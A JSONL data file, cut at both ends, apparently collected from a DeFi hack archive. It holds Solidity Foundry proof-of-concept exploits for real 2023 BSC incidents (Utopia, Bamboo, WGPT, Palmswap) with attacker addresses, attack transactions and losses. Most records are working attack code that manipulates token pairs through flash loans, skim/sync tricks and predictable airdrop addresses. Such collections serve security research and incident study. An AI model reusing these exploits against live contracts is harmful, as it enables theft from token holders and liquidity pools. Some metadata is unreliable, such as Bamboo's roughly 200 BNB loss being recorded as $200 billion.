"", "funds_lost_formatted": "$472", "content_richness_score": 10, "quality_estimate": "high", "title": "RodeoFinance Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$119K\n// Attacker : https://bscscan.com/address/0xe84ef3615b8df94c52e5b6ef21acbf0039b29113\n// Attacker Contract : https://bscscan.com/address/0x6191203510c2a6442faecdb6c7bb837a76f02d23\n// Vulnerable Contract : https://bscscan.com/address/0xb1da08c472567eb0ec19639b1822f578d39f3333\n// Attack Tx : https://bscscan.com/tx/0xeb4eb487f58d39c05778fed30cd001b986d3c52279e44f46b2de2773e7ee1d5e\n\n// @Analysis\n// https://twitter.com/DeDotFiSecurity/status/1681923729645871104\n// https://twitter.com/bulu4477/status/1682380542564769793\n\n// Similar incident (FFIST) : https://github.com/SunWeb3Sec/DeFiHackLabs#20230720-ffist---business-logic-flaw\n\ninterface IUtopia is IERC20 {\n function lastAirdropAddress() external view returns (address);\n}\n\ncontract UtopiaTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IUtopia Utopia = IUtopia(0xb1da08C472567eb0EC19639b1822F578d39F3333);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xfeEf619a56fCE9D003E20BF61393D18f62B0b2D5);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 30_119_396);\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(Utopia), \"Utopia\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(Pair), \"Pair\");\n }\n\n function testExploit() public {\n deal(address(WBNB), address(this), 0.01 ether);\n WBNB.approve(address(Router), type(uint256).max);\n Utopia.approve(address(Router), type(uint256).max);\n emit log_named_decimal_uint(\n \"Attacker WBNB balance before exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n WBNBToUtopia();\n Utopia.transfer(address(Pair), 1);\n\n // Setting balance of the pair to 1 by calculating the receiver's address\n // Two addresses (from, to) in seed calculation must be the same\n uint256 seed = (uint160(Utopia.lastAirdropAddress()) | uint160(block.number)) ^ uint160(address(Pair))\n ^ uint160(address(Pair));\n // tAmount may be 0 or 1\n address notRandomAirdropAddr = address(uint160(seed | 1));\n\n Pair.skim(notRandomAirdropAddr);\n Pair.sync();\n Utopia.transfer(address(Pair), 1);\n Pair.sync();\n UtopiaToWBNB();\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {}\n\n function WBNBToUtopia() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(Utopia);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function UtopiaToWBNB() internal {\n (uint256 reserveUtopia, uint256 reserveWBNB,) = Pair.getReserves();\n uint256 amountOut = Router.getAmountOut(32, reserveUtopia, reserveWBNB);\n Utopia.transfer(address(Pair), 32);\n Pair.swap(0, amountOut, address(this), new bytes(1));\n }\n}\n", "type": "exploit_poc", "protocol": "Utopia", "date": "2023-07", "file_name": "Utopia_exp.sol", "attack_vector": null, "content_hash": "c2aec66884e956a7", "collected_at": "2026-01-07T10:59:16.509879", "_source": "postmortems", "chain": "bsc", "block_number": 30119396, "total_lost_raw": "~$119K", "total_lost_usd": 119000.0, "attacker_address": "https://bscscan.com/address/0xe84ef3615b8df94c52e5b6ef21acbf0039b29113", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0xb1da08c472567eb0ec19639b1822f578d39f3333", "attack_tx": "https://bscscan.com/tx/0xeb4eb487f58d39c05778fed30cd001b986d3c52279e44f46b2de2773e7ee1d5e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$119K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(WBNB), address(this), 0.01 ether);\n WBNB.approve(address(Router), type(uint256).max);\n Utopia.approve(address(Router), type(uint256).max);\n emit log_named_decimal_uint(\n \"Attacker WBNB balance before exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n WBNBToUtopia();\n Utopia.transfer(address(Pair), 1);\n\n // Setting balance of the pair to 1 by calculating the receiver's address\n // Two addresses (from, to) in seed calculation must be the same\n uint256 seed = (uint160(Utopia.lastAirdropAddress()) | uint160(block.number)) ^ uint160(address(Pair))\n ^ uint160(address(Pair));\n // tAmount may be 0 or 1\n address notRandomAirdropAddr = address(uint160(seed | 1));\n\n Pair.skim(notRandomAirdropAddr);\n Pair.sync();\n Utopia.transfer(address(Pair), 1);\n Pair.sync();\n UtopiaToWBNB();\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$119K", "keyinfo_attacker": "https://bscscan.com/address/0xe84ef3615b8df94c52e5b6ef21acbf0039b29113", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb1da08c472567eb0ec19639b1822f578d39f3333", "keyinfo_attack_tx": "https://bscscan.com/tx/0xeb4eb487f58d39c05778fed30cd001b986d3c52279e44f46b2de2773e7ee1d5e", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$119.0K", "content_richness_score": 7.74, "quality_estimate": "medium", "title": "Utopia Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~200BNB\n// Attacker : 0x00703face6621bd207d3b4ac9867058190c0bb09\n// Attack Contract : 0xcdf0eb202cfd1f502f3fdca9006a4b5729aadebc\n// Vulnerable Contract : 0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a10\n// Block: 29668034\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94\n\n// @Analysis\n// Post-mortem : https://twitter.com/Phalcon_xyz/status/1676220090142916611\n\n// @POC Author : https://twitter.com/eugenioclrc\n\ncontract BambooTest is Test {\n IERC20 wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 bamboo = IERC20(0xED56784bC8F2C036f6b0D8E04Cb83C253e4a6A94);\n\n IPancakePair wbnbBambooPair = IPancakePair(0x0557713d02A15a69Dea5DD4116047e50F521C1b1);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IUniswapV2Factory factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 29_668_034);\n\n vm.label(address(wbnb), \"WBNB\");\n vm.label(address(bamboo), \"BAMBOO\");\n vm.label(address(router), \"PancakeRouter\");\n }\n\n function toEth(\n uint256 _wei\n ) internal returns (string memory) {\n string memory eth = vm.toString(_wei / 1 ether);\n string memory decs = vm.toString(_wei % 1 ether);\n\n string memory result = string.concat(string.concat(eth, \".\"), decs);\n\n return result;\n }\n\n function testExploit() public {\n // get a flash loan (lets mock it out)\n deal(address(wbnb), address(this), 4000 ether);\n\n console.log(\"start balance after flashloan\", toEth(wbnb.balanceOf(address(this))));\n\n uint256 bambooBalance = bamboo.balanceOf(address(wbnbBambooPair));\n\n address[] memory path;\n path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(bamboo);\n uint256[] memory amounts = router.getAmountsIn(bambooBalance * 9 / 10, path);\n\n wbnb.approve(address(router), type(uint256).max);\n router.swapExactTokensForTokens(amounts[1], 0, path, address(this), block.timestamp);\n\n uint256 max = 10_000;\n for (uint256 i; i < max; ++i) {\n bamboo.transfer(address(wbnbBambooPair), 1_343_870_967_101_818_317);\n wbnbBambooPair.skim(address(this));\n }\n\n path[0] = address(bamboo);\n path[1] = address(wbnb);\n bamboo.approve(address(router), type(uint256).max);\n\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n bamboo.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n console.log(\"profit after return flashloan\", toEth(wbnb.balanceOf(address(this)) - 4000 ether));\n }\n}\n", "type": "exploit_poc", "protocol": "Bamboo", "date": "2023-07", "file_name": "Bamboo_exp.sol", "attack_vector": "flash_loan", "content_hash": "610a4f51346aae04", "collected_at": "2026-01-07T10:59:16.509930", "_source": "postmortems", "chain": "bsc", "block_number": 29668034, "total_lost_raw": "~200BNB", "total_lost_usd": 200000000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a10", "postmortem_url": "https://twitter.com/Phalcon_xyz/status/1676220090142916611", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~200BNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // get a flash loan (lets mock it out)\n deal(address(wbnb), address(this), 4000 ether);\n\n console.log(\"start balance after flashloan\", toEth(wbnb.balanceOf(address(this))));\n\n uint256 bambooBalance = bamboo.balanceOf(address(wbnbBambooPair));\n\n address[] memory path;\n path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(bamboo);\n uint256[] memory amounts = router.getAmountsIn(bambooBalance * 9 / 10, path);\n\n wbnb.approve(address(router), type(uint256).max);\n router.swapExactTokensForTokens(amounts[1], 0, path, address(this), block.timestamp);\n\n uint256 max = 10_000;\n for (uint256 i; i < max; ++i) {\n bamboo.transfer(address(wbnbBambooPair), 1_343_870_967_101_818_317);\n wbnbBambooPair.skim(address(this));\n }\n\n path[0] = address(bamboo);\n path[1] = address(wbnb);\n bamboo.approve(address(router), type(uint256).max);\n\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n bamboo.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n console.log(\"profit after return flashloan\", toEth(wbnb.balanceOf(address(this)) - 4000 ether));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~200BNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a10", "analysis_postmortem": "https://twitter.com/Phalcon_xyz/status/1676220090142916611", "analysis_twitter": "", "funds_lost_formatted": "$200000.00M", "content_richness_score": 7.55, "quality_estimate": "medium", "title": "Bamboo Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~80K USD$\n// Attacker : https://bscscan.com/address/0xdc459596aed13b9a52fb31e20176a7d430be8b94\n// Attack Contract : https://bscscan.com/address/0x5336a15f27b74f62cc182388c005df419ffb58b8\n// Vulnerable Contract : https://bscscan.com/address/0x1f415255f7e2a8546559a553e962de7bc60d7942\n// Attack Tx : https://bscscan.com/tx/0x258e53526e5a48feb1e4beadbf7ee53e07e816681ea297332533371032446bfd\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1679042549946933248\n// https://twitter.com/BeosinAlert/status/1679028240982368261\n\ninterface IWGPT is IERC20 {\n function isSwap() external returns (bool);\n\n function burnToken() external returns (bool);\n\n function burnRate() external returns (uint256);\n}\n\ncontract WGPTTest is Test {\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n // Token created by the exploiter\n IERC20 private constant ExpToken = IERC20(0xe1272a840F574b68dE861eC5009784e3411cb96c);\n IWGPT private constant WGPT = IWGPT(0x1f415255f7E2a8546559a553E962dE7BC60d7942);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n // Pancake Pair created by the exploiter\n Uni_Pair_V2 private constant BUSDT_ExpToken = Uni_Pair_V2(0xaa07222e4c3295C4E881ac8640Fbe5fB921D6840);\n Uni_Pair_V2 private constant WGPT_BUSDT = Uni_Pair_V2(0x5a596eAE0010E16ed3B021FC09BbF0b7f1B2d3cD);\n IDPPOracle private constant DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle private constant DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle private constant DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n Uni_Pair_V3 private constant PoolV3 = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);\n address private constant exploiter = 0xdC459596aeD13B9a52FB31E20176a7D430Be8b94;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 29_891_709);\n cheats.label(address(BUSDT), \"BUSDT\");\n cheats.label(address(ExpToken), \"ExpToken\");\n cheats.label(address(WGPT), \"WGPT\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(BUSDT_ExpToken), \"BUSDT_ExpToken\");\n cheats.label(address(WGPT_BUSDT), \"WGPT_BUSDT\");\n cheats.label(address(DPPOracle1), \"DPPOracle1\");\n cheats.label(address(DPPOracle2), \"DPPOracle2\");\n cheats.label(address(DPPOracle3), \"DPPOracle3\");\n cheats.label(address(DPP), \"DPP\");\n cheats.label(address(DPPAdvanced), \"DPPAdvanced\");\n cheats.label(address(PoolV3), \"PoolV3\");\n cheats.label(exploiter, \"Exploiter\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\"Attacker BUSDT balance before\", BUSDT.balanceOf(address(this)), BUSDT.decimals());\n ExpToken.approve(address(Router), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n WGPT.approve(address(this), type(uint256).max);\n bytes memory swapData =\n hex\"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000027b46536c66c8e3000000000000000000000000000000000000000000000000002a5a058fc295ed000000000000000000000000000000000000000000000000000000000000000000008c00000000000000000000000000000000000000000000065a4da25d3016c00000\";\n\n if (WGPT.isSwap()) {\n WGPT.burnToken();\n }\n\n assertEq(WGPT.burnRate(), 2000);\n\n vm.startPrank(address(this), exploiter);\n BUSDT_ExpToken.swap(BUSDT.balanceOf(address(BUSDT_ExpToken)) / 10, 90e18, address(this), swapData);\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"Attacker BUSDT balance after\", BUSDT.balanceOf(address(this)), BUSDT.decimals());\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n BUSDT.transfer(address(WGPT), 1);\n BUSDT.transfer(address(WGPT_BUSDT), 2);\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), _data);\n ExpToken.transfer(address(WGPT_BUSDT), 10);\n ExpToken.transfer(address(WGPT), 100);\n BUSDT.transfer(address(BUSDT_ExpToken), _amount0);\n ExpToken.transfer(address(BUSDT_ExpToken), 90_909 * 1e15);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == address(DPPOracle1)) {\n DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), data);\n } else if (msg.sender == address(DPPOracle2)) {\n DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), data);\n } else if (msg.sender == address(DPPOracle3)) {\n DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), data);\n } else if (msg.sender == address(DPP)) {\n DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), data);\n } else {\n PoolV3.flash(address(this), 76_727_748_945_585_195_946_976, 0, bytes(\"\"));\n }\n BUSDT.transfer(msg.sender, quoteAmount);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(WGPT);\n Router.swapExactTokensForTokens(200_000 * 1e18, 0, path, address(this), block.timestamp + 1000);\n assertEq(WGPT.burnRate(), 2000);\n BUSDT.transfer(address(WGPT), 30_000 * 1e18);\n ExpToken.transfer(address(WGPT_BUSDT), 1e6);\n ExpToken.transfer(address(WGPT), 1);\n\n // Surely math here for transfer amount calculation is different (and it's not entirely clear to me)\n // I use following code here only for PoC to work\n // Start exploit\n while (WGPT_BUSDT.totalSupply() > 100_200 * 1e18) {\n WGPT.transferFrom(address(this), address(WGPT_BUSDT), WGPT.balanceOf(address(this)) / 99);\n WGPT_BUSDT.skim(address(this));\n }\n // End exploit\n\n ExpToken.transfer(address(WGPT_BUSDT), 2000);\n ExpToken.transfer(address(WGPT), 1000);\n // ExpToken.transferFrom(exploiter, address(this), 400_000 * 1e18);\n // No sufficient allowance so using deal cheat here\n deal(address(ExpToken), address(this), ExpToken.balanceOf(address(this)) + 400_000 * 1e18);\n path[0] = address(WGPT);\n path[1] = address(BUSDT);\n uint256[] memory amounts = Router.getAmountsOut(WGPT.balanceOf(address(this)) - 128e18, path);\n WGPT.transfer(address(WGPT_BUSDT), WGPT.balanceOf(address(this)));\n WGPT_BUSDT.swap(0, amounts[1], address(this), bytes(\"\"));\n BUSDT.transfer(address(PoolV3), 76_727_748_945_585_195_946_976 + fee0);\n }\n}\n", "type": "exploit_poc", "protocol": "WGPT", "date": "2023-07", "file_name": "WGPT_exp.sol", "attack_vector": "flash_loan", "content_hash": "6592172eefcd4ebe", "collected_at": "2026-01-07T10:59:16.509982", "_source": "postmortems", "chain": "bsc", "block_number": 29891709, "total_lost_raw": "~80K USD$", "total_lost_usd": 80000.0, "attacker_address": "https://bscscan.com/address/0xdc459596aed13b9a52fb31e20176a7d430be8b94", "attack_contract": "https://bscscan.com/address/0x5336a15f27b74f62cc182388c005df419ffb58b8", "vulnerable_contract": "https://bscscan.com/address/0x1f415255f7e2a8546559a553e962de7bc60d7942", "attack_tx": "https://bscscan.com/tx/0x258e53526e5a48feb1e4beadbf7ee53e07e816681ea297332533371032446bfd", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~80K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\"Attacker BUSDT balance before\", BUSDT.balanceOf(address(this)), BUSDT.decimals());\n ExpToken.approve(address(Router), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n WGPT.approve(address(this), type(uint256).max);\n bytes memory swapData =\n hex\"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000027b46536c66c8e3000000000000000000000000000000000000000000000000002a5a058fc295ed000000000000000000000000000000000000000000000000000000000000000000008c00000000000000000000000000000000000000000000065a4da25d3016c00000\";\n\n if (WGPT.isSwap()) {\n WGPT.burnToken();\n }\n\n assertEq(WGPT.burnRate(), 2000);\n\n vm.startPrank(address(this), exploiter);\n BUSDT_ExpToken.swap(BUSDT.balanceOf(address(BUSDT_ExpToken)) / 10, 90e18, address(this), swapData);\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"Attacker BUSDT balance after\", BUSDT.balanceOf(address(this)), BUSDT.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~80K USD$", "keyinfo_attacker": "https://bscscan.com/address/0xdc459596aed13b9a52fb31e20176a7d430be8b94", "keyinfo_attack_contract": "https://bscscan.com/address/0x5336a15f27b74f62cc182388c005df419ffb58b8", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x1f415255f7e2a8546559a553e962de7bc60d7942", "keyinfo_attack_tx": "https://bscscan.com/tx/0x258e53526e5a48feb1e4beadbf7ee53e07e816681ea297332533371032446bfd", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$80.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "WGPT Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$900K\n// Attacker : https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366\n// Attack Contract : https://bscscan.com/address/0x55252a6d50bfad0e5f1009541284c783686f7f25\n// Vulnerable Contract : https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1\n// Attack Tx : https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1683680026766737408\n\ninterface IVault {\n function buyUSDP(\n address _receiver\n ) external returns (uint256);\n\n function sellUSDP(\n address _receiver\n ) external returns (uint256);\n}\n\ninterface ILiquidityEvent {\n function purchasePlp(uint256 _amountIn, uint256 _minUsdp, uint256 _minPlp) external returns (uint256 amountOut);\n\n function unstakeAndRedeemPlp(uint256 _plpAmount, uint256 _minOut, address _receiver) external returns (uint256);\n}\n\ncontract PalmswapTest is Test {\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 PLP = IERC20(0x8b47515579c39a31871D874a23Fb87517b975eCC);\n IERC20 USDP = IERC20(0x04C7c8476F91D2D6Da5CaDA3B3e17FC4532Fe0cc);\n IVault Vault = IVault(0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A);\n ILiquidityEvent LiquidityEvent = ILiquidityEvent(0xd990094A611c3De34664dd3664ebf979A1230FC1);\n IAaveFlashloan RadiantLP = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);\n address private constant plpManager = 0x6876B9804719d8D9F5AEb6ad1322270458fA99E0;\n address private constant fPLP = 0x305496cecCe61491794a4c36D322b42Bb81da9c4;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 30_248_637);\n cheats.label(address(BUSDT), \"BUSDT\");\n cheats.label(address(PLP), \"PLP\");\n cheats.label(address(USDP), \"USDP\");\n cheats.label(address(Vault), \"Vault\");\n cheats.label(address(LiquidityEvent), \"LiquidityEvent\");\n cheats.label(address(RadiantLP), \"RadiantLP\");\n cheats.label(plpManager, \"plpManager\");\n cheats.label(fPLP, \"fPLP\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n BUSDT.approve(plpManager, type(uint256).max);\n BUSDT.approve(address(RadiantLP), type(uint256).max);\n PLP.approve(fPLP, type(uint256).max);\n\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n takeFlashLoanOnRadiant();\n\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n // Add liquidity. Exchange rate between USDP and PLP is 1:1\n uint256 amountOut = LiquidityEvent.purchasePlp(1_000_000 * 1e18, 0, 0);\n\n BUSDT.transfer(address(Vault), 2_000_000 * 1e18);\n Vault.buyUSDP(address(this));\n // Remove liquidity. Exchange rate between USDP and PLP is 1:1.9.\n // Attacker is able to exchange for 1.9 times more USDP\n uint256 amountUSDP = LiquidityEvent.unstakeAndRedeemPlp(amountOut - 13_294 * 1e15, 0, address(this));\n\n USDP.transfer(address(Vault), amountUSDP - 3154 * 1e18);\n Vault.sellUSDP(address(this));\n\n return true;\n }\n\n function takeFlashLoanOnRadiant() internal {\n address[] memory assets = new address[](1);\n assets[0] = address(BUSDT);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 3_000_000 * 1e18;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n RadiantLP.flashLoan(address(this), assets, amounts, modes, address(this), bytes(\"\"), 0);\n }\n}\n", "type": "exploit_poc", "protocol": "Palmswap", "date": "2023-07", "file_name": "Palmswap_exp.sol", "attack_vector": "flash_loan", "content_hash": "c57eea31f152889d", "collected_at": "2026-01-07T10:59:16.510051", "_source": "postmortems", "chain": "bsc", "block_number": 30248637, "total_lost_raw": "~$900K", "total_lost_usd": 900000.0, "attacker_address": "https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366", "attack_contract": "https://bscscan.com/address/0x55252a6d50bfad0e5f1009541284c783686f7f25", "vulnerable_contract": "https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1", "attack_tx": "https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$900K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n BUSDT.approve(plpManager, type(uint256).max);\n BUSDT.approve(address(RadiantLP), type(uint256).max);\n PLP.approve(fPLP, type(uint256).max);\n\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n takeFlashLoanOnRadiant();\n\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$900K", "keyinfo_attacker": "https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366", "keyinfo_attack_contract": "https://bscscan.com/address/0x55252a6d50bfad0e5f1009541284c783686f7f25", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1", "keyinfo_attack_tx": "https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$900.0K", "content_richness_score": 9.07, "quality_estimate": "high", "title": "Palmswap Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~7K USD$\n// Attacker : https://bscscan.com/address/0x10703f7114dce7beaf8d23cde4bf72130bb0f56a\n// Attack Contract : https://bscscan.com/address/0x45aa258ad08eeeb841c1c02eca7658f9dd4779c0\n// Vulnerable Contract : https://bscscan.com/address/0xb47955b5b7eaf49c815ebc389850eb576c460092\n// Attack Tx : https://bscscan.com/tx/0x8d35dfd9968ce61fb969ffe8dcc29eeeae864e466d2cb0b7d26ce63644691994\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1681316257034035201\n\ninterface IAPEDAO is IERC20 {\n function goDead() external;\n}\n\ncontract ApeDAOTest is Test {\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IAPEDAO APEDAO = IAPEDAO(0xB47955B5B7EAF49C815EBc389850eb576C460092);\n IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xee2a9D05B943C1F33f3920C750Ac88F74D0220c3);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 